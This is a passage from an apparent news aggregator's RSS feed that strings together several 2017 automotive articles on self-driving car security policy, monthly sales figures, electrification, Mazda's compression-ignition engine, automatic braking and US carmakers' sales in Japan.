As key players continue to pilot the watchful public to the radical new transportation reality that is unfolding, futurists have noted how things will play out into some kind of cultural shift, not just a technological transformation. Moreover, it has been forecasted that by 2030, the self-driving car market may reach a staggering $ 87 billion, according to Lux Research.

Interrelated security issues

Government’s role in ushering the driverless cars of the future cannot be discounted. Michigan Senator Gary Peters has maintained that private industry should not have to deal with so many restrictions in formulating solutions and setting standards so that driverless car innovations will take off. To his mind, regulators ought to take a hands-off stance in dealing with private industry ushering automated car technology to get off the ground.

The Michigan senator’s industry-friendly stance on automotive cyber security is in contrast to the views presented so far by Senators Edward Markey and Richard Blumenthal. Markey cited the importance of legislation to safeguard car owners from car hacking and protect to a certain extent driver data collected for connected vehicles.

Current focus has been on incorporating state-of-the-art technologies in self-driving cars to ensure that passengers arrive safely at their chosen destinations. Nonetheless, having clear rules of the road as well as being on guard against automotive cyber attacks are just as crucial.

Fortunately, the top brass of automotive companies, startup firms, and government regulators have taken stock of such future situations and are mulling on how to address them. Public information campaigns, as well as social media posts, are enlightening the public on how transformative technology (such as self-driving cars) will come with both benefits and risks, but that they will also quite helpful. It will be interesting to see how government entities and innovators in autonomous technology work together to safeguard consumers as the technology advances.

Ellie Martin is a writer whose work has been featured on Wisebread, AOL, and Yahoo!.  

VentureBeat

]]> https://briefnews.eu/data-collection-and-security-flaws-will-challenge-autonomous-carmakers/feed/ 0 Big 3 carmakers crush sales expectations after a slowdown caused by Hurricane Harvey (F, FCAU, GM, NSANY) https://briefnews.eu/big-3-carmakers-crush-sales-expectations-after-a-slowdown-caused-by-hurricane-harvey-f-fcau-gm-nsany/ https://briefnews.eu/big-3-carmakers-crush-sales-expectations-after-a-slowdown-caused-by-hurricane-harvey-f-fcau-gm-nsany/#respond Tue, 03 Oct 2017 13:41:03 +0000 http://briefnews.eu/big-3-carmakers-crush-sales-expectations-after-a-slowdown-caused-by-hurricane-harvey-f-fcau-gm-nsany/ ford car dealership salesmanScott Olson / Getty Images

The major carmakers on Tuesday are reporting their sales performance in September. 

The Detroit Big Three — Ford, GM, and Fiat Chrysler — topped analysts’ forecasts for the month after Hurricane Harvey slowed sales in late August.

Analysts forecast that overall, sales in September rose at a seasonally adjusted annual rate of 17.15 million, according to Bloomberg.

Here’s the latest: 

  • Ford: 8.9% (2.3% expected)
  • Fiat Chrysler: -9.7% (-13% expected)
  • GM: 11.9% (7.9% expected)
  • Toyota: 14.9%
  • Nissan: 9.5% (-8.7% expected) 

Sales rose less than forecast last month as Hurricane Harvey slowed activity in the areas that were affected. But they’d already been weak during 2017 after setting records in the previous seven years.  

Analysts, however, see some improvement as the year winds down. For one, several cars that were salvaged by the hurricanes will be replaced, and that should boost sales numbers after the initial slowdown. 

“We don’t buy the idea that the vehicles sales would have kept falling absent the likely post-hurricane rebound,” Pantheon Macroeconomics said in a preview. “In our view, the decline in sales this year is mostly a consequence of the unsustainable surge late last year, when a huge wave of incentive spending, led by Ford, drove sales up to a peak of 18.2M in December.”

More to come …Screen Shot 2017 10 03 at 9.14.28 AMPantheon Macroeconomics

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]]> https://briefnews.eu/big-3-carmakers-crush-sales-expectations-after-a-slowdown-caused-by-hurricane-harvey-f-fcau-gm-nsany/feed/ 0 Carmakers face electric reality as combustion engine outlook dims https://briefnews.eu/carmakers-face-electric-reality-as-combustion-engine-outlook-dims/ https://briefnews.eu/carmakers-face-electric-reality-as-combustion-engine-outlook-dims/#respond Tue, 12 Sep 2017 09:23:56 +0000 http://briefnews.eu/carmakers-face-electric-reality-as-combustion-engine-outlook-dims/

(Reuters) — European car bosses gathering for the Frankfurt auto show are beginning to address the realities of mass vehicle electrification, and its consequences for jobs and profit, their minds focused by government pledges to outlaw the combustion engine.

As the latest such announcement by China added momentum to a push for zero-emissions motoring, Daimler, Volkswagen and PSA Group made disclosures about their electric programs that could give policymakers some pause.

Planned electric Mercedes models will initially be just half as profitable as conventional alternatives, Daimler warned – forcing the group to find savings by outsourcing more component manufacturing, which may in turn threaten German jobs.

“In-house production is almost irrelevant to the consumer,” Daimler boss Dieter Zetsche told reporters and investors on the eve of the Frankfurt show, speaking in the midst of a German election campaign in which automotive jobs have loomed large.

Volkswagen, for its part, said it was seeking new global supplier contracts to source 50 billion euros ($ 60 billion) of electric car content including batteries, which are not yet manufactured competitively in Europe.

“A company like Volkswagen must lead, not follow,” Chief Executive Matthias Mueller told reporters.

VW diesel emissions-cheating exposed by U.S. regulators triggered global public outrage, dozens more investigations into test-rigging by the wider industry and a push by some lawmakers to ban diesel and eventually all engines.

Tightening Noose

Tesla Inc shares jumped nearly 6 percent on Monday after a Chinese minister said it was a question of when, not if, Beijing bans fossil-fuel cars, tightening the rhetorical noose around the combustion engine. France and Britain have promised its outright abolition by 2040.

But PSA, the maker of Peugeots and Citroens, said it was concerned about the risks if consumers are left behind in the rush, and a new generation of battery cars does not sell.

“If it doesn’t gain acceptance in the market, then everybody – industry, employees and politicians – has a big problem,” PSA Chief Executive Carlos Tavares said in a pre-show interview with German weekly Bild am Sonntag.

While Tesla has carved itself a successful premium niche, electric vehicles have yet to penetrate volume markets, with the heavily subsidized exception of Norway, and still account for less than 1 percent of global car sales.

Automakers have sought to adapt to the changing tide – and in some cases distance themselves from “dieselgate” – by announcing multibillion-euro investments in electric cars, underpinned by plans to sell millions within a decade.

A year into the scandal, VW unveiled plans to develop 30 new electric cars and sell 2 million-3 million annually by 2025. On Monday it upped the goal to 80 models and said it would need four times the capacity of Tesla’s “gigafactory” to supply their batteries.

Jobs flight

Since the battery is the single biggest-value item in an electric car, however, experts point out that mass adoption would shift business and jobs from European suppliers to China, which already dominates the automotive power-pack market.

According to consulting firm AlixPartners, electric drivetrains including batteries require 40 percent less manufacturing labor than mechanical ones. That would hit 112,000 jobs at European suppliers, even before any outsourcing.

A phase-out of combustion engines by 2030 could cost 600,000 jobs in Germany alone, the country’s Ifo economic institute has warned. Chancellor Angela Merkel, on course for re-election on Sept. 24, said she was “no friend of bans”, in a Berliner Zeitung interview published on Tuesday.

Any deepening of the doubts surrounding mass electric car uptake could vindicate Fiat Chrysler CEO Sergio Marchionne – one of the few car bosses who has largely resisted the plug-in vogue.

“My aversion to electrification was based on pure cost issues,” Marchionne told analysts recently, predicting that stubbornly high battery costs would combine with tightening combustion-engine regulation to choke off overall sales.

“There’s going to be a huge increase in prices in 2021-22 if effective electrification becomes as widespread as people expect,” Marchionne said. “That, based on everything I know in terms of economics, will cause a shrinkage of demand.”

VentureBeat

]]> https://briefnews.eu/carmakers-face-electric-reality-as-combustion-engine-outlook-dims/feed/ 0 Mazda made a game-changing fuel efficiency breakthrough other carmakers have spent decades working on https://briefnews.eu/mazda-made-a-game-changing-fuel-efficiency-breakthrough-other-carmakers-have-spent-decades-working-on/ https://briefnews.eu/mazda-made-a-game-changing-fuel-efficiency-breakthrough-other-carmakers-have-spent-decades-working-on/#respond Wed, 09 Aug 2017 08:41:39 +0000 http://briefnews.eu/mazda-made-a-game-changing-fuel-efficiency-breakthrough-other-carmakers-have-spent-decades-working-on/ Mazda3REUTERS/Michael Caronna

As soon as 2019, Mazda will have a petrol-driven car in production that is cheaper to run than a Tesla Model S.

The Japanese carmaker has announced it is ready to reveal a combustion engine using compression technology Ford, General Motors and Hyundai have been trying to get into production for the best part of a decade.

It’s called Spark Controlled Compression Ignition and it uses the same sparkless technology used by diesel engines, without the high emission rate.

At low revs, the SkyActiv-X employs sparkplugs to ignite petrol, but it switches to compression ignition at high revs. Mazda claims it can handle the switch without engine damage.

If its claims of a “20-30%” increase in fuel efficiency are true, then the 2019 Mazda3 – the model most likely to get the first SkyActiv-X engine – could be running on as little as 3.5L per 100km.

At today’s fuel prices in Melbourne, that’s $ 19.25 for 500km, which is about the maximum range of a full battery in Tesla’s Model S.

Tesla told Gizmodo a full charge in Australia should cost around $ 20 – in 2015. Since then, energy costs in Melbourne have risen by 238%.

That is a problem electric carmakers have to start getting concerned about, at least in Australia. As much as Tesla and other EV manufacturers would like to think their products are desirable for their green credentials, being cheap to run is undeniably a major sell point.

Tesla Autopilot Paint It BlackTesla

And right now, in Australia, if you had to make a savings call based on rising fuel prices versus rising electricity costs…

Of course, a Mazda3 can’t rush from 0-100km/h in under 3 seconds, or be summoned from a carpark. But you could also buy five of them fully loaded for the price of a mid-range Tesla Model S.

Or one and have at least another $ 30,000 in your hand for the price of Tesla’s new, much slower, Model 3. That’s enough to buy you 780,000km worth of petrol.

You also have to consider that with less than 6% of Australia’s energy sourced from renewables, the likelihood is high that your Tesla is still getting its Aussie energy from burning carbon.

On the emissions side of things, the new Mazda3 could be pumping out less than 95g/km, in line with European requirements by 2020. While there are early plans in Britain, France, the Netherlands and Germany to ban all combustion fossil fuel-powered engines by 2040, Mazda is clearly determined to make a case for low-emission technology.

But it’s also pushing on with its electric models. At yesterday’s announcement, it said it would continue to develop cars for “regions that use a high ratio of clean energy for power generation or restrict certain vehicles to reduce air pollution”.

A new SkyActiv-X Mazda6 is expected to follow soon after the 3 launch.

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]]> https://briefnews.eu/mazda-made-a-game-changing-fuel-efficiency-breakthrough-other-carmakers-have-spent-decades-working-on/feed/ 0 Carmakers diverge on how quickly to rollout automatic braking https://briefnews.eu/carmakers-diverge-on-how-quickly-to-rollout-automatic-braking/ https://briefnews.eu/carmakers-diverge-on-how-quickly-to-rollout-automatic-braking/#respond Fri, 09 Jun 2017 09:28:03 +0000 http://briefnews.eu/carmakers-diverge-on-how-quickly-to-rollout-automatic-braking/

(Reuters) — Big automakers are rushing to launch self-driving cars as early as 2021, but the industry’s major players are moving slowly when it comes to widespread deployment of a less expensive crash prevention technology that regulators say could prevent thousands of deaths and injuries every year.

Nissan Motor Co Ltd said on Thursday it would make automatic braking systems standard on an estimated 1 million 2018 model cars and light trucks sold in the United States, including high-volume models such as the Rogue and Rogue Sport compact sport utility vehicles, the Altima sedan, Murano and Pathfinder SUVs, LEAF electric car, Maxima sedan and Sentra small car.

Nissan sold about 1.6 million vehicles in the United States last year.

Rival Toyota Motor Corp has said it will make so-called automatic emergency braking standard on nearly all its U.S. models by the end of this year.

Overall, however, most automakers are not rushing to make automatic brake systems part of the base cost of mainstream vehicles sold in the competitive U.S. market. The industry has come under pressure from regulators, lawmakers and safety advocates to adopt the technology, which can slow or stop a vehicle even if the driver fails to act.

So far, only about 17 percent of models tested by the Insurance Institute for Highway Safety offered standard collision-avoiding braking, according to data supplied by the auto safety research group backed insurance industry. Many of the models with standard collision-avoiding brake systems are luxury vehicles made by European or Japanese manufacturers.

The systems require more sensors and software than conventional brakes, and automakers said they need time to engineer the systems into vehicles as part of more comprehensive makeovers.

Last year, 20 automakers reached a voluntary agreement with U.S. auto safety regulators to make collision-avoiding braking systems standard equipment by 2022.

Safety advocates have petitioned the National Highway Traffic Safety Administration to begin a regulatory process to require the technologies, but the agency has said the voluntary agreement will result in faster deployment than a formal rule-making process. NHTSA says the technology could eliminate one-fifth of crashes.

“Do the math. That’s 5 million crashes every year – 20 percent reduction means 1 million less. Those are big numbers,” Mark Rosekind, the NHTSA’s then-administrator, told Reuters last year.

But customers would likely experience the benefits of the technology infrequently. The technology to enable a car to drive itself is far more costly, but industry executives foresee autonomous vehicles driving revenue-generating transportation services that could be attractive to investors.

General Motors Co offers automatic braking as optional equipment on about two-thirds of its models. The company did not say on Thursday how many vehicles have the technology as standard equipment. GM has not made public its plans to make the technology standard across its lineup.

“Any time you have a voluntary agreement you have a spectrum of implementation,” Jeff Boyer, GM’s vice president for safety, told Reuters earlier this week. Asked when GM would roll out standard automatic braking, Boyer said, “let’s just say we honor the voluntary commitment.”

Ford Motor Co “has a plan to standardize over time,” the company said in a statement on Thursday. Currently, automatic braking systems are optional on several 2017 Ford and Lincoln models, and will be offered on certain 2018 models including the best-selling F-150 pickup truck.

Fiat Chrysler Automobiles NV offers automatic braking as optional equipment in nine model lines, using cameras and radar to detect hazards ahead. The company has said it will meet the 2022 target for making the systems standard.

As 2018 models roll out during the second half of this year, more vehicles will offer automatic braking, said Dean McConnell, an executive with Continental AG’s North American business. Continental’s automatic braking technology systems will be on certain Nissan models.

“We see it accelerating,” he said. “It varies. There are some (automakers) that are being aggressive” and others that are waiting.

Nissan did not disclose how much prices for vehicles would rise to offset the cost of standard automatic emergency braking. The 2018 models will be launched later this year. Currently, Nissan, like most carmakers, offers automatic braking as part of a bundle of optional safety and technology features.

A 2017 Nissan Sentra compact sedan has a starting price of $ 17,875. To buy the car equipped with automatic braking requires spending another $ 6,820 for a Sentra SR with a premium technology package.

German auto technology suppliers Continental and Robert Bosch GmbH will supply the systems, Nissan said.

(This version of the story corrects number of model lines in which Fiat Chrysler offers automatic braking as optional equipment to nine instead of seven, paragraph 15)

(Additional reporting by David Shepardson in Washington; Editing by Matthew Lewis)

VentureBeat

]]> https://briefnews.eu/carmakers-diverge-on-how-quickly-to-rollout-automatic-braking/feed/ 0 America Last: On the Futility of American Carmakers Selling in Japan https://briefnews.eu/america-last-on-the-futility-of-american-carmakers-selling-in-japan/ https://briefnews.eu/america-last-on-the-futility-of-american-carmakers-selling-in-japan/#respond Wed, 03 May 2017 15:49:37 +0000 http://briefnews.eu/america-last-on-the-futility-of-american-carmakers-selling-in-japan/ America Last: On the Futility of American Carmakers Selling in Japan

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From the May 2017 issue

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It’s a claim we’ve heard from America’s automakers time and time again: The Japanese car market is the most closed in the world. The latest press release from the American Automotive Policy Council (AAPC), a lobbying group for FCA, Ford, and GM, urges Japanese prime minister Shinzō Abe to “open up [Japan’s] market in a meaningful way to U.S. cars and trucks.” But Japan hasn’t had import tariffs on automobiles since 1978.

–

Japanese buyers drive home 300,000 foreign cars a year out of about 5 million total, yet fewer than 15,000 are American imports. German automakers, which are subject to the same rules as American companies, do much better: BMW sold 46,000 vehicles in Japan last year, Volkswagen moved 55,000, and Mercedes 65,000 units. The numbers for the rest of the global auto industry indicate that maybe American companies are just no good at selling there.

–

The AAPC sees it differently. “If the import participation rate is at 6.5 percent, there is no other explanation for that but for non-tariff measures,” says Matt Blunt, the former Missouri governor who serves as AAPC president and spokesman. The AAPC maintains that Japanese currency manipulation routinely devalues the yen, making imports less affordable. The organization also decries Japanese regulations and taxes as impediments to doing more business there.

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Truly, Japan’s auto market is a Galápagos Island of odd ­species, tilted heavily toward the small, tall, boxy cars that fit Japan’s narrow, congested streets and better navigate laws that perennially tax owners on engine size and vehicle weight. This advantages European manu­facturers, who sell 117 models in Japan with engines that displace less than two liters, compared with just 10 American models. Altogether, there are 289 European models on sale in Japan, while Americans offer only 24. However, Japan lets any automaker sell 5000 cars each year without meeting its emissions or safety rules.

–

Of course, there is also the elephant in the room: right-hand drive. GM’s whole Japanese business plan is left-hooker Cadillacs, Corvettes, and Camaros, along with a right-hand-drive Chevy Captiva SUV. Annual sales barely hit 1000. FCA’s American arm does much better—it sold almost 10,000 vehicles last year—but its whole non-Fiat lineup comprises Jeep and a handful of Chrysler 300s. Ford quit Japan altogether in 2016.

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In fact, you could say the Big Three have given up trying. Over the past two decades, Chrysler, Ford, and GM have lost three-quarters of their dealerships there, while European-branded retail points have nearly dou­bled, according to the Japan Automobile Manufacturers ­Association. And from 2009 to 2013, Audi, BMW, Mercedes-­Benz, and Volkswagen combined to spend 20 times what the American brands did on ­marketing in Japan. Well, with so few products to sell, there’s not much to advertise.

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Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/america-last-on-the-futility-of-american-carmakers-selling-in-japan/feed/ 0 Carmakers Would Like Relief from CAFE Mandates, Bigly https://briefnews.eu/carmakers-would-like-relief-from-cafe-mandates-bigly/ https://briefnews.eu/carmakers-would-like-relief-from-cafe-mandates-bigly/#respond Sat, 28 Jan 2017 23:53:06 +0000 http://briefnews.eu/carmakers-would-like-relief-from-cafe-mandates-bigly/ 2015 Tesla Model S P85D

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We tried to stay above the fray this election cycle. I have rejected, for example, several politically charged story proposals this year, ranging from gold-plating an ’80s limo to road-testing a Subaru in northern Libya. But there is one intersection where cars and politics must collide, and it is at the corner of Energy and Policy. READ MORE ››

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Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/carmakers-would-like-relief-from-cafe-mandates-bigly/feed/ 0